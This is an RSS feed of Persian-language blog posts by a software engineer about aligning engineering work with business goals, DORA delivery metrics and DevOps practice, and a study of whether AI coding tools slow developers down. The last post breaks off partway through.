<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
    <channel>
        <title>نوشته های Ali Fazeli</title>
        <link>https://virgool.io/feed/@alimfazeli</link>
        <description>مهندس نرم افزار</description>
        <language>fa</language>
        <pubDate>2026-04-15 04:44:55</pubDate>
        <image>
            <url>https://files.virgool.io/upload/users/789/avatar/u5jRhe.jpeg?height=120&amp;width=120</url>
            <title>Ali Fazeli</title>
            <link>https://virgool.io/@alimfazeli</link>
        </image>

                    <item>
                <title>چرا و چطوری اهداف تیم مهندسی رو به خروجی‌های سازمان وصل کنیم؟</title>
                <link>https://virgool.io/@alimfazeli/%DA%86%D8%B1%D8%A7-%D9%88-%DA%86%D8%B7%D9%88%D8%B1%DB%8C-%D8%A7%D9%87%D8%AF%D8%A7%D9%81-%D8%AA%DB%8C%D9%85-%D9%85%D9%87%D9%86%D8%AF%D8%B3%DB%8C-%D8%B1%D9%88-%D8%A8%D9%87-%D8%AE%D8%B1%D9%88%D8%AC%DB%8C-%D9%87%D8%A7%DB%8C-%D8%B3%D8%A7%D8%B2%D9%85%D8%A7%D9%86-%D9%88%D8%B5%D9%84-%DA%A9%D9%86%DB%8C%D9%85-xvdj2u7c8juz</link>
                <description>چرا و چطوری اهداف تیم مهندسی رو به خروجی‌های سازمان وصل کنیممشکلی که همه می‌شناسیمخیلی وقتا با این موقعیت مواجه شدم که مهندس‌های تیم خیلی عمیق در حال کد زدن و تولید هستن. کد ریویو می‌کنن، طراحی می‌کنن، باگ فیکس می‌کنن.ولی اگر ازشون بپرسی که چرا دارن این کار رو انجام میدن، جواب دقیقی ندارن.جواب‌هایی می‌شنوم مثل: &quot;چون تیم x ازمون درخواست کرده&quot;، &quot;چون مدیر بخش y اینو گفته&quot; یا &quot;چون پروداکت منیجر توی تسک‌هامون قرارش داده&quot;.چرا این موضوع مهمه؟ندونستن اهداف سازمان و چرایی کارها تاثیرات مستقیمی روی عملکرد تیم داره:برای مدیرها: نمی‌تونن تصمیم‌های دقیقی برای رسیدن به اهداف بگیرن. نمی‌دونن کجا باید سرعت بیشتری داشته باشن، کجا می‌تونن کیفیت رو بالاتر ببرن، و چه Compromise هایی قابل قبول هستن.برای مهندسین: هیچ نقشی توی رهبری تیم ندارن. تعهدشون فقط به تموم کردن Task ای هست که بهشون داده شده. در نتیجه احتمالا خیلی انگیزه‌ای برای کمک به هم‌تیمی‌ها ندارن و نگاه چندانی به تاثیر کارشون روی خروجی نهایی هم نیست.برای سازمان: نمیشه تیم رو برای رسیدن به اهداف همسو نگه داشت و حتی تعریف شفافی از موفقیت هم وجود نداره.رهبرهای تیم مهندسی باید تلاش کنن تا خودشون و تیم‌شون &quot;چرایی&quot; کارها و ارتباطش با اهداف سازمان رو بدونن. اگر این اتفاق نیافته، کیفیت انجام کار، تصمیمات درست و همینطور انتخاب Compromise های لازم همه در خطر قرار می‌گیرن.یک مثال عملی: پروژه بلک فرایدیبیاید یه پروژه رو توی تیم مهندسی و محصول یه پلتفرم فروش آنلاین تصور کنیم و ببینیم دونستن اهداف یا ندونستن‌شون چه تاثیری روی مدل کار و تصمیم‌گیری میذاره.شرح پروژه: یه پروژه شامل یک سری فیچر برای تخفیف و نمایش تخفیف‌های ویژه Black Friday تعریف شده و از تیم خواسته شده که اون‌ها رو اجرا کنه. این پروژه قراره به سازمان کمک کنه که به اهداف فروشش توی فصل آخر سال برسه و بتونه تعداد سفارش‌ها و سایز سفارش‌ها رو بالاتر ببره.سه سوال کلیدیمدیر یا رهبر تیم مهندسی با دونستن این اطلاعات میتونه این سوال‌ها رو بپرسه و اون‌ها رو با تیم به اشتراک بذاره:۱. اگر کار انجام نشه چی میشه؟احتمالا شرکت به اهداف فروشش توی فصل آخر سال نمی‌رسه. در نتیجه ممکنه میزان سرمایه‌گذاری یا گردش مالی شرکت در خطر قرار بگیره و رشد آینده شرکت هم وارد ریسک بشه. همینطور اگر کار طبق تعریف انجام نشده باشه، تمام این ریسک‌ها ممکنه اتفاق بیافته.۲. این کار چه ارزشی برای کاربران داره؟با داشتن این فیچرها، کاربرا می‌تونن تو فضای بلک فرایدی جهانی قرار بگیرن، کالاهای مورد نیازشون رو با قیمت تخفیف‌دار بخرن و بخشی از خریدهای آخر سالشون رو به راحتی انجام بدن.۳. اگر این کار زودتر یا بهتر انجام بشه چه تاثیری داره؟درباره تخفیف‌های بلک فرایدی چون زمان مشخصی وجود داره، زودتر تموم کردن کار احتمالا ارزش خاصی نداره چون در نهایت توی تاریخ مشخصی استفاده میشه.ولی اگر کیفیت کار اجرا شده و امکاناتش جلوتر و کامل‌تر از نیازمندی اولیه باشه، ممکنه بتونه حتی اعدادی بالاتر از اهداف اولیه شرکت رو محقق کنه. یا به خاطر تجربه خوب کاربری باعث بشه کاربرهای بیشتری از این امکان استفاده کنن و رشد بالاتری رو حتی برای سازمان ایجاد کنه.از تئوری تا عمل: تصمیم‌گیری آگاهانهکاربرد همه‌ی این سوال‌ها و جواب‌هاشون اینه که توی مکالمه‌های بین مهندس‌های نرم‌افزار و رهبرای مهندسی قرار بگیرن تا به اون‌ها کمک کنن تصمیم‌های بهتری بگیرن.مثال‌های واقعی از تصمیم‌گیری:درباره زمان‌بندی: با این اطلاعات ممکنه نتیجه بگیریم که جلو انداختن بیش از حد کارهای پروژه لازم نیست و می‌تونیم قبلش روی کارهای باز دیگه همچنان وقت بذاریم.درباره اولویت‌بندی: اگر بدونیم زمان اجرای این پروژه با پروژه ری‌دیزاین محصول (که تاثیرش روی کاربر و اهداف شرکت خیلی مشخص نیست) تداخل داره، ممکنه تیم تصمیم بگیره پروژه ری‌دیزاین رو عقب بندازه تا هدف بزرگ شرکت که فروش فصل آخر هست، با استفاده از بلک فرایدی با قطعیت بدست بیاد.درباره کیفیت و بدهی فنی: با درک اینکه زمان چقدر توی این پروژه مهمه، ممکنه تیم تصمیم بگیره بدهی‌های فنی قابل تحملی رو توی بعضی قسمت‌ها ایجاد کنه تا به مهم‌ترین هدف کار که انجام کامل پروژه قبل از Deadline هست رو با اطمینان بدست بیاره.درباره ساختار اجرایی: حتی ممکنه مدل مدیریت پروژه رو تغییر بده و مثلا از یک مدیر پروژه اختصاصی برای این کار استفاده کنه.همه‌ی این تصمیم‌ها و انتخاب‌ها می‌تونه و باید توسط مهندس‌ها و رهبرهای تیم مهندسی گرفته بشه و فقط در صورتی ممکن میشه که چرایی کارها و اهمیت‌شون برای سازمان درک شده باشه و به عنوان بالاترین موضوع در نظر گرفته بشه.فریمورک عملی: چطور شروع کنیم؟بیاید با درست کردن یه مدل ساده یه کمی کار رو راحت تر کنیم:برای رهبرهای مهندسی:۱. توی Planning ها این سوالات رو مطرح کنید:این پروژه کدوم هدف سازمانی رو پوشش میده؟اگر موفق نشیم چه اتفاقی می‌افته؟موفقیت رو چطور می‌سنجیم؟۲. اطلاعات رو شفاف به اشتراک بذارید:توی کیک‌آف میتینگ‌ها context کامل رو توضیح بدیداهداف سازمانی رو به زبان ساده و قابل فهم منتقل کنیدمثال‌های واقعی و ملموس بزنید۳. فضای پرسیدن سوال رو ایجاد کنید:تیم رو تشویق کنید که &quot;چرا&quot; رو بپرسنوقتی مهندسین سوال می‌پرسن، پاداش‌شون بدید نه سرزنشبرای مهندسین نرم‌افزار:۱. قبل از شروع هر Task، بپرسید:این کار چطوری به کاربر کمک می‌کنه؟اگر این کار نشه چه اتفاقی می‌افته؟این کار تو بیگ پیکچر سازمان کجا قرار داره؟۲. توی Daily ها و Review ها:نگاهتون رو فقط به &quot;کار تموم شد یا نه&quot; محدود نکنیددرباره تاثیر کارتون صحبت کنیدبه هم‌تیمی‌ها کمک کنید تا هدف کلی محقق بشه۳. اگر جوابی ندارید:سوال بپرسید! این حق شماستاز مدیرتون، از پروداکت منیجر، از هر کسی که می‌تونه کمک کنهموفقیت یعنی چی؟ ارتباط با نتایج سازماناگر توی انجام کارها موضوع &quot;چرایی&quot; رو به درستی اجرا کردید، توی بررسی نتایج هم باید با نگاه به نتایج کلی سازمان نگاه کنید.وقتی مهندس‌های نرم‌افزار اهداف سازمان رو درک کردن و تونستن ارتباط کار خودشون با اون رو بفهمن، دیگه حتی فیکس کردن باگ‌های کوچیک یا انجام دادن کد ریویوها کاری نیست که انجام بدن چون مجبورن.مثال از همون پروژه بلک فرایدی:قبل: &quot;یه باگ توی صفحه checkout پیدا کردم و فیکسش کردم چون تو تسکم بود.&quot;بعد: &quot;یه باگ توی صفحه checkout پیدا کردم که می‌تونست مستقیم روی conversion rate بلک فرایدی تاثیر بذاره. فیکسش کردم و تست کردم چون می‌دونم این پروژه چقدر برای اهداف Q4 شرکت حیاتیه.&quot;تفاوت رو می‌بینید؟ در هر دو حالت باگ فیکس شده، ولی توی حالت دوم:مهندس می‌فهمه چرا این کار مهمهانگیزه برای انجام دقیق‌تر کار بیشترهاحتمال اینکه edge case ها رو هم چک کنه بالاترهخودش رو بخشی از موفقیت سازمان می‌بینهجمع‌بندیوصل کردن اهداف تیم مهندسی به خروجی‌های سازمان یک انتخاب نیست، یک ضرورت است.وقتی همه می‌دونن چرا دارن کاری رو انجام میدن:تصمیم‌گیری بهتر میشهکیفیت کار بالاتر میرهانگیزه و تعهد افزایش پیدا می‌کنهتیم همسو می‌مونهاز فردا شروع کنید. یک پروژه رو انتخاب کنید و سه سوال کلیدی رو باهاش مرور کنید:اگر این کار انجام نشه، چه اتفاقی می‌افته؟این کار چه ارزشی برای کاربر داره؟اگر زودتر یا بهتر انجام بشه، چه تفاوتی می‌سازه؟جواب‌ها رو با تیم به اشتراک بذارید و ببینید چطور روی تصمیمات و کیفیت کارتون تاثیر می‌ذاره.چک‌لیست: سه سوال قبل از شروع هر پروژهبرای استفاده آسان، این سه سوال رو همیشه بپرسید:□ اگر این کار انجام نشه، چه اتفاقی می‌افته؟چه ریسکی برای سازمان ایجاد میشه؟چه ارزشی از دست میره؟□ این کار چه ارزشی برای کاربر داره؟کاربر چطوری از این استفاده می‌کنه؟چه مشکلی رو براش حل می‌کنه؟□ اگر زودتر یا بهتر انجام بشه، چه تفاوتی می‌سازه؟آیا زمان مهمه؟آیا کیفیت بالاتر می‌تونه تاثیر بیشتری داشته باشه؟</description>
                <category>Ali Fazeli</category>
                <author>Ali Fazeli</author>
                <pubDate>Sat, 01 Nov 2025 12:51:23 +0330</pubDate>
            </item>
                    <item>
                <title>تکنولوژی برنده: چرا سرعت و دقت دشمن هم نیستند</title>
                <link>https://virgool.io/@alimfazeli/%D8%AA%DA%A9%D9%86%D9%88%D9%84%D9%88%DA%98%DB%8C-%D8%A8%D8%B1%D9%86%D8%AF%D9%87-%DA%86%D8%B1%D8%A7-%D8%B3%D8%B1%D8%B9%D8%AA-%D9%88-%D8%AF%D9%82%D8%AA-%D8%AF%D8%B4%D9%85%D9%86-%D9%87%D9%85-%D9%86%DB%8C%D8%B3%D8%AA%D9%86%D8%AF-dpaatwexzkso</link>
                <description>چرا این موضوع مهمه؟کسب‌وکار شرکت‌های مبتنی بر تکنولوژی—از گوگل و نتفلیکس تا دیجیکالا و اسنپ—موفقیت، رشد و شکستشون تا حد زیادی بستگی به کیفیت تیم و محصولی که تولید می‌کنند داره. اما سوال اینجاست: کیفیت رو چطوری باید اندازه بگیریم؟تحقیقاتی که طی ده سال گذشته انجام شده نشون می‌ده که چند معیار کلیدی کیفیت فنی همبستگی مستقیمی با سودآوری شرکت‌ها دارن. این معیارها نه تنها به ما می‌گن که تیممون در چه وضعیتی قرار داره، بلکه مسیر بهبود رو هم نشون می‌دن.در این مقاله می‌خوایم ببینیم که چرا روش‌های سنتی اندازه‌گیری عملکرد—مثل تعداد خط کد یا Story Point—ما رو به اشتباه می‌ندازن، و به جاش چه معیارهایی می‌تونن واقعا به موفقیت کمک کنن.مشکل معیارهای سنتی: وقتی خروجی جای نتیجه رو می‌گیرهتله‌های اندازه‌گیری خروجیمتدهای اولیه اندازه‌گیری عملکرد تمرکز روی خروجی (Output) دارن، نه نتیجه (Outcome). بیاید ببینیم چرا این مشکل‌سازه:تعداد خط کد: تصور کنید پاداش دادن به دولوپری که مسئله‌ای که با ۱۰ خط کد یا حتی پاک کردن چند خط کد قابل حل بوده رو با ۱۰۰۰ خط کد حل کرده چقدر می‌تونه ما رو به اشتباه بندازه. این روزها که AI Agent‌ها هم تولید کد می‌کنن، این مشکل حتی بیشتر هم شده—کد بیشتر لزوما کد بهتر نیست.Velocity و Story Point: این متدها که توی دوران Agile پررنگ شدن، بر اساس تلاشی که انتظار داریم صرف حل یک مسئله بشه تعریف می‌شن. میزان امتیازهایی که توی یک iteration انجام می‌شد به عنوان Velocity تیم ثبت می‌شد. اما این مدل نقاط ضعف مشخصی داره:قابل مقایسه نیست: از تیمی به تیم دیگه قابل انتقال نیست و نمی‌شه براساسش تیم‌ها رو با هم مقایسه کردتورم تخمین: وقتی از ظرفیت به عنوان معیار کیفیت‌سنجی استفاده می‌کنیم، تیم‌ها تشویق می‌شن که ظرفیتشون رو دوره به دوره افزایش بدن و این باعث می‌شه که به مرور تخمین‌ها به شکل غیرواقعی بزرگ‌تر بشنفشار برای تکمیل: این روش تیم‌ها رو تشویق می‌کنه که به هر قیمتی—حتی کاهش کیفیت تولید یا آسیب زدن به ظرفیت بقیه تیم‌ها—بیشترین امتیاز ممکن رو توی هر دوره تکمیل کننوقتی معیارها با هم تضاد دارنحالا تصور کنید چه اتفاقی می‌افته وقتی دولوپرها رو برای خروجی هرچه بیشتر تشویق کنیم و تیم زیرساخت رو برای استیبل نگه داشتن سیستم:دولوپرها بیشترین تلاش رو برای دادن خروجی—حتی کم‌کیفیت و ریسکی—انجام می‌دن و چیزهایی که آماده انتشار نیست رو منتشر می‌کننتیم زیرساخت تلاش می‌کنه با قرار دادن رویه‌های Change Management دردناک جلوی حجم خروجی رو بگیرهنتیجه؟ جنگ داخلی بین تیم‌ها، کندی پروسه، و در نهایت سرویس‌های ناپایداراین تضاد ریشه در انتخاب معیارهای اشتباه داره. وقتی خروجی رو اندازه می‌گیریم به جای نتیجه، افراد و تیم‌ها رو مشغول کارهایی می‌کنیم که منجر به خروجی مفید برای سازمان نمی‌شه.راه حل: معیارهای عملکرد تحویل نرم‌افزار (DORA Metrics)نیکول فورسگرن و تیمش طی چهار سال تحقیق و بررسی هزاران تیم تکنولوژی، چهار معیار کلیدی رو شناسایی کردن که مشکلات موارد بالا رو ندارن و می‌تونن به طور واضح بین تیم‌های پیشرو و ضعیف مرز ایجاد کنن. این معیارها توی کتاب Accelerate منتشر شدن و الان به عنوان DORA Metrics شناخته می‌شن:۱. لید تایم تحویل (Delivery Lead Time)تعریف: زمانی که طول می‌کشه کد تکمیل‌شده به دست کاربر برسه—از زمان commit تا زمان deploy در production.چرا مهمه: لید تایم کوتاه‌تر یعنی می‌تونیم سریع‌تر به بازخورد کاربرها واکنش نشون بدیم و سریع‌تر یاد بگیریم.نکته عملی: این متریک شامل زمان تست، بیلد، review و deployment می‌شه. اگر لید تایم شما چند هفته‌ست، باید ببینید کدوم مرحله گلوگاهه.۲. فرکانس دیپلوی (Deployment Frequency)تعریف: در روز، هفته یا ماه چند بار کد رو به production منتقل می‌کنیم.چرا مهمه: فرکانس بالاتر معمولا یعنی تغییرات کوچک‌تر، ریسک کمتر، و توانایی بیشتر برای آزمایش و یادگیری سریع.نکته عملی: تیم‌های elite روزی چندین بار deploy می‌کنن. اگر شما ماهی یک بار deploy می‌کنید، هر release شامل تغییرات زیادیه که debug کردنش سخته.۳. زمان بازگرداندن سرویس (Mean Time To Restore - MTTR)تعریف: در صورت بروز مشکل در سرویس‌دهی، چقدر طول می‌کشه که سرویس رو به وضعیت سالم برگردونیم.چرا مهمه: توی دنیای مدرن، بروز اختلال بخش جدایی‌ناپذیری از فرایند تولیده. سوال اینه که چقدر سریع می‌تونیم بهش واکنش نشون بدیم.نکته عملی: MTTR پایین نیازمند monitoring قوی، alert‌های درست، و فرایندهای واضح incident response هست.۴. نرخ شکست تغییرات (Change Failure Rate)تعریف: درصد deployment‌هایی که منجر به اختلال در سرویس می‌شن یا نیاز به rollback یا hotfix دارن.چرا مهمه: این معیار نشون می‌ده که کیفیت تست و review ما چقدر خوبه.نکته عملی: تیم‌های elite کمتر از ۱۵٪ change failure rate دارن. اگر بیشتر از ۳۰٪ شماست، باید روی کیفیت فرایندهای تست و review کار کنید.آمارها چی می‌گن؟تحقیقات نشون می‌دن که تیم‌های با عملکرد بالا که فرهنگ DevOps رو به درستی پیاده‌سازی کردن، در مقایسه با تیم‌های ضعیف:۴۶ برابر دفعات deployment بیشتری دارن۴۴۰ برابر زمان کمتری بین commit و deployment فاصله‌ست (از چند هفته تا چند دقیقه)۱۷۰ برابر سریع‌تر اختلالات رو برطرف می‌کنن (فرایند تشخیص وقوع مشکل و برطرف کردن مشکل هردو تعیین کننده ان)۵ برابر کمتر deployment‌های منجر به اختلال در سرویس‌دهی دارناین آمارها شاید خیلی دور از دسترس به نظر برسن، اما نکته اینه که بهبود تدریجی هم ارزش زیادی داره. اگر الان ماهی یک بار deploy می‌کنید، هفته‌ای یک بار خیلی پیشرفت بزرگیه. اگر MTTR شما ۴ ساعته، رسوندنش به ۳۰ دقیقه می‌تونه تاثیر عظیمی روی اعتماد کاربرها داشته باشه.شکستن افسانه: تضاد بین سرعت و اطمینانیکی از بزرگ‌ترین تصورات غلط اینه که باید بین سرعت و کیفیت یکی رو انتخاب کنیم. اما داده‌ها نشون می‌دن که تیم‌های elite هم سریع‌ترن و هم پایدارترین سرویس‌ها رو دارن.چطور این ممکنه؟ اگر فرایندهای مدرن DevOps رو به درستی پیاده کنیم، سرعت و اطمینان با همبستگی بهتر می‌شن. بیاید چند مثال ببینیم:تست‌های خودکار: سرعت + دقتیکی از بخش‌هایی که معمولا سهم زیادی در Delivery Lead Time داره، فرایند تست و QA هست.مشکل: تست‌های دستی زمان‌بر، خسته‌کننده، و مستعد خطای انسانی هستن. سناریوهای پرتکرار تست بار ذهنی و خستگی بیشتری روی تسترها می‌ذارن.راه حل: سرمایه‌گذاری روی زیرساخت تست‌های خودکار همزمان محدودیت زمان و دقت رو بهبود می‌ده.از کجا شروع کنیم؟Unit Test‌ها: ساده‌ترین و سریع‌ترین تست‌ها. هر تابع و کامپوننت باید unit test داشته باشهIntegration Test‌ها: تست تعاملات بین کامپوننت‌ها. این‌ها گران‌ترن اما خیلی ارزشمندن—خصوصا الان که با AI Coding Agent‌ها نوشتنشون خیلی راحت شدهE2E Test‌ها: فقط برای critical path‌های اصلی. این‌ها گران و شکننده‌ن، پس محدودشون کنیدنکته مهم: همه تست‌ها رو نباید خودکار کنید. تست‌های exploratory و usability هنوز به قضاوت انسانی نیاز دارن. تمرکزتون رو بذارید روی تست‌های پرتکرار و critical.استقرارهای محدود: کاهش ریسکمشکل: وقتی یک تغییر بزرگ که چند هفته یا چند ماه روش کار شده رو یک‌دفعه منتشر می‌کنیم، ریسک بالاست و اگر مشکلی پیش بیاد، دونستن اینکه کدوم قسمت باعث شده سخته.راه حل: استفاده از تکنیک‌هایی مثل Canary Deployment و Feature Flag.Canary Deployment چیه؟ تغییر رو اول برای درصد کوچکی از کاربرها (مثلا ۵٪) منتشر می‌کنیم. اگر مشکلی نبود، به تدریج به بقیه کاربرها هم می‌رسونیم. اگر مشکلی بود، فقط ۵٪ کاربرها آسیب دیدن، نه همه.Feature Flag چیه؟ کد جدید رو deploy می‌کنیم اما غیرفعالش نگه می‌داریم. بعد با یک کلید (flag) می‌تونیم فیچر رو فعال یا غیرفعال کنیم—بدون نیاز به deployment جدید.مزایا:تغییرات کوچک‌تر و پیگیری آسون‌ترساید افکت‌های احتمالی رو سریع‌تر و کم‌هزینه‌تر پیدا می‌کنیمترس از release کردن کم می‌شهدیگه کدهای ما برای مدت طولانی از برنچ اصلی جدا نمی‌شناحتمالا توی تجربه‌هاتون دیدید که merge کردن یک تغییر بزرگ که برای چند هفته یا چند ماه روش کار انجام شده چقدر می‌تونه فرایند کند و پر اشتباهی باشه.Monitoring و Observability: آگاهی = سرعتمشکل: وقتی نمی‌دونیم سیستممون چه اتفاقی داره می‌افته، وقتی مشکلی پیش میاد، ساعت‌ها طول می‌کشه تا بفهمیم کجاست.راه حل: سرمایه‌گذاری روی logging، monitoring، و alerting.چی نیاز داریم؟Logging ساختاریافته: log‌ها باید قابل جست‌وجو و فیلتر باشنMetric‌های کلیدی: response time، error rate، throughputAlert‌های هوشمند: نه خیلی زیاد که alert fatigue بشه، نه خیلی کم که مشکلات رو از دست بدیمDashboard‌ها: نمای کلی از سلامت سیستموقتی monitoring خوبی داریم، می‌تونیم مشکلات رو قبل از اینکه کاربرها ببینن شناسایی کنیم و سریع‌تر عکس‌العمل نشون بدیم.از کجا شروع کنیم؟ راهنمای عملیخب، حالا که می‌دونیم چی رو باید اندازه بگیریم، چطور شروع کنیم؟مرحله ۱: اندازه‌گیری وضعیت فعلی (Baseline)قبل از اینکه بخوایم بهبود کنیم، باید بدونیم الان کجا هستیم:Lead Time: از commit تا production چقدر طول می‌کشه؟ حتی اگر الان این رو track نمی‌کنید، برای چند deployment آینده دستی ثبتش کنیدDeployment Frequency: ماهی چند بار deployment دارید؟MTTR: آخرین باری که incident داشتید، چقدر طول کشید تا حلش کنید?Change Failure Rate: از ۱۰ deployment آخر، چند تاش مشکل داشت؟نکته مهم: کامل بودن اعداد از دقت ۱۰۰٪ مهم‌تره. حتی اگر الان ابزار خودکاری ندارید، شروع کنید به ثبت دستی. بعدا می‌تونید بهتونش کنید.مرحله ۲: شناسایی بزرگ‌ترین گلوگاهوقتی baseline رو دارید، ببینید کدوم قسمت بدترین عدد رو داره:اگر Lead Time بالاست: ببینید چی بیشترین زمان رو می‌بره—تست؟ review؟ deployment pipeline؟اگر Deployment Frequency پایینه: چرا؟ ترس از deploy؟ فرایند approval پیچیده؟اگر MTTR بالاست: مشکل detection هست یا resolution؟اگر Change Failure Rate بالاست: کجا تست‌ها کافی نیستن؟مرحله ۳: یک بهبود، اندازه‌گیری تاثیر، تکرارقانون طلایی: هر بار روی یک چیز تمرکز کنید.مثال: اگه Lead Time شما بالاست و بخش زیادیش صرف تست می‌شه:هفته اول: شناسایی کنید کدوم تست‌ها پرتکرار و زمان‌برنهفته دوم: یک یا دو تست ساده رو خودکار کنیدهفته سوم: اندازه بگیرید—Lead Time چقدر بهتر شد؟تکرار: اگر کار کرد، ادامه بدید. اگر نه، تاکتیک رو عوض کنیدنکته: بهبودهای کوچک رو جشن بگیرید. از ۲ هفته به ۱۰ روز رسیدن یک پیشرفت بزرگه، حتی اگر هنوز راه زیادی مونده باشه!مرحله ۴: فرهنگ‌سازییادتون باشه: DevOps فقط ابزار نیست—فرهنگه و فرهنگ با نحوه کار کردن واقعی شما و چیزهایی که بهش اهمیت میدید ساخته میشه نه حرف ها و مقاله ها.Blameless Postmortem: وقتی incident پیش میاد، هدف یاد گرفتنه، نه پیدا کردن مقصرPsychological Safety: افراد باید بتونن بدون ترس از قضاوت سوال بپرسن و اشتباه کننCollaboration: دیوارهای بین dev، ops، QA، و security رو بشکنیدپاسخ به تردیدهای معمول&quot;ما Netflix نیستیم، این به درد ما نمی‌خوره&quot;واقعیت: اصول DORA Metrics برای هر سازمانی که نرم‌افزار تولید می‌کنه مفیده—از استارتاپ ۵ نفره تا شرکت‌های بزرگ. بله، context مهمه و شاید برای شما deployment روزانه معنی نداشته باشه، اما بهبود تدریجی همیشه ممکنه.&quot;ما محدودیت‌های قانونی داریم که سرعت رو کم می‌کنه&quot;واقعیت: حتی در صنایع highly-regulated مثل بانکداری و سلامت، تیم‌های پیشرو موفق شدن فرایندهای انطباق با قوانین رو به شکل خودکار در بیارن. بله، سخت‌تره، اما غیرممکن نیست.&quot;سیستم legacy ما اجازه نمی‌ده&quot;واقعیت: خیلی از سیستم‌های legacy قابل modernize کردن هستن—نه یک‌شبه، بلکه تدریجی. استراتژی strangler pattern رو نگاه کنید: به تدریج بخش‌های قدیمی رو با سیستم‌های جدید replace می‌کنید.نکات خاص برای بازار ایرانچالش‌های منحصر به فرد:محدودیت‌های دسترسی به ابزارهای ابری و سرویس‌های معتبر زیرساختیزیرساخت اینترنت ناپایداردسترسی محدود به منابع آموزشیراه حل‌های عملی:Self-hosted tools: GitLab، Jenkins، Prometheus همه قابل نصب روی infrastructure داخلی هستن و نگهداری نسبتا کم هزینه ای دارناستفاده از alternative‌ها: برای اکثر ابزارهای خارجی یک جایگزین متن باز یا قابل self-host پیدا می‌شهتمرکز بر اصول، نه ابزار: DORA Metrics یک فلسفه‌ست، نه یک ابزار خاصاز همدیگه یاد بگیرید، روش های جدید رو امتحان کنید.جمع‌بندی: سفر بهبود مداومفرایندهای صحیح DevOps و فرهنگ درست می‌تونن رابطه مستقیمی با سودآوری شرکت‌های تکنولوژی‌محور داشته باشن. چهار معیار DORA—Lead Time، Deployment Frequency، MTTR، و Change Failure Rate—فقط بخشی از معیارهای کیفی عملکرد زیرساخت تکنولوژی یک شرکتن، اما تمرکز روی اون‌ها می‌تونه نقطه شروع خیلی خوبی برای بهبود عملکرد تیم و زیرساخت شما باشه.نکات کلیدی برای به خاطر سپردن:نتیجه رو اندازه بگیرید، نه خروجی: تعداد Story Point یا خط کد مهم نیست—مهم اینه که چقدر سریع ارزش رو به دست کاربر می‌رسونیمسرعت و کیفیت دشمن هم نیستن: با فرایندهای درست، هم سریع‌تر می‌شه و هم باکیفیت‌ترشروع کنید از جایی که هستید: baseline بگیرید، یک گلوگاه رو شناسایی کنید، بهبودش بدید، تاثیرش رو اندازه بگیرید، تکرارفرهنگ مهم‌تر از ابزاره: بهترین CI/CD pipeline دنیا هم اگر فرهنگ blame و ترس وجود داشته باشه، کارایی ندارهبهبود تدریجی قدرتمنده: نیازی نیست از فردا تیم برتر بشید. هر بهبود کوچیک ارزشمندهیادتون باشه: این یک مسابقه سرعت نیست، یک سفر بهبود مداومه. تیم‌هایی که امروز برتر هستن هم از جایی شروع کردن. مهم اینه که امروز اولین قدم رو برداریم.منابع پیشنهادیکتاب: Accelerate: The Science of Lean Software and DevOps - نیکول فورسگرن، جز هامبل، جین کیموب‌سایت: DORA Metrics Documentation (https://dora.dev)کتاب: The Phoenix Project - جین کیم (رمانی درباره DevOps transformation)کتاب: Site Reliability Engineering - تیم Google (رایگان آنلاین)نکته:‌ این مقاله توسط شخص من نوشته شده و توسط هوش مصنوعی بازنویسی شده.</description>
                <category>Ali Fazeli</category>
                <author>Ali Fazeli</author>
                <pubDate>Sun, 12 Oct 2025 10:41:01 +0330</pubDate>
            </item>
                    <item>
                <title>آیا ابزارهای AI واقعاً توسعه‌دهندگان را کند می‌کنند؟</title>
                <link>https://virgool.io/codenevis/%D8%A2%DB%8C%D8%A7-%D8%A7%D8%A8%D8%B2%D8%A7%D8%B1%D9%87%D8%A7%DB%8C-ai-%D9%88%D8%A7%D9%82%D8%B9%D8%A7%D9%8B-%D8%AA%D9%88%D8%B3%D8%B9%D9%87-%D8%AF%D9%87%D9%86%D8%AF%DA%AF%D8%A7%D9%86-%D8%B1%D8%A7-%DA%A9%D9%86%D8%AF-%D9%85%DB%8C-%DA%A9%D9%86%D9%86%D8%AF-idosjuqacxxf</link>
                <description>همه ما شاهد هجوم ابزارهای AI به دنیای برنامه‌نویسی بودیم. از Cursor تا GitHub Copilot، همه می‌گن که این ابزارها انقلاب کدنویسی رو به همراه آوردن. ولی یه سوال مهم پیش میاد: آیا واقعاً این ابزارها ما رو سریع‌تر می‌کنن؟ یا اینکه فقط حس می‌کنیم سریع‌تر شدیم؟ یه تحقیق تازه جواب این سوال رو به شکل غافلگیرکننده‌ای داده.تحقیق جدید: ابزارهای AI کدنویسی توسعه‌دهندگان رو ۱۹٪ کندتر می‌کنن!یه مطالعه فوق‌العاده جالب توسط یه سازمان غیرانتفاعی به اسم Model Evaluation and Threat Research (METR) منتشر شده. کارشون چی بوده؟ ۱۶ تا برنامه‌نویس حرفه‌ای که روی پروژه‌های بزرگ اپن‌سورس کار می‌کردن رو جذب کردن و ازشون خواستن ۱۳۶ تا باگ واقعی رو با دستمزد ساعتی ۱۵۰ دلار حل کنن.نکته اینجاست که بعضی‌ها ابزارهای AI داشتن، بعضی‌ها نداشتن. تمام کارشون رو ضبط کردن و ۱۴۶ ساعت ویدئو رو تجزیه و تحلیل کردن.نتیجه‌ای که بدست اومد واقعاً غافلگیرکننده‌ست:&quot;عجیب اینکه متوجه شدیم وقتی برنامه‌نویسا از ابزارهای AI استفاده می‌کنن، ۱۹٪ بیشتر وقت می‌برن تا کارشون تموم شه. یعنی AI اونا رو کند می‌کنه! این فاصله بین تصور و واقعیت واقعاً تکون‌دهنده‌ست: برنامه‌نویسا فکر می‌کردن AI قراره سرعتشون رو ۲۴٪ بیشتر کنه، و حتی بعد اینکه کندی رو تجربه کردن، بازم معتقد بودن که AI سرعتشون رو ۲۰٪ افزایش داده!&quot;این نتیجه واقعاً شگفت‌انگیزه! اما ببینیم چه خبره؟ وقتی به جزئیات تحقیق نگاه می‌کنیم:Using AI meant less time spent coding, but the work took longer, overall. Source: METRجزئیات بیشتر از تحقیقهدف این تحقیق بررسی تاثیر Cursor بر کارایی برنامه‌نویسا بوده. تقریباً همه شرکت‌کنندگان از Cursor با مدل‌های Sonnet 3.5 یا 3.7 استفاده کردن. نکته جالب اینه که ۴۴٪ از توسعه‌دهندگان اصلاً تا اون موقع Cursor رو امتحان نکرده بودن، و بقیه‌شونم حداکثر ۵۰ ساعت باهاش کار کرده بودن.اونایی که از AI استفاده می‌کردن، کمتر وقت برای کدزدن خرج کردن - ولی در مجموع بیشتر طول کشید تا کارشون تموم شه. همچنین کمتر وقت برای تحقیق و تست گذاشتن. ولی چه کاری بیشتر وقتشون رو گرفت؟ پرامپت نوشتن، منتظار 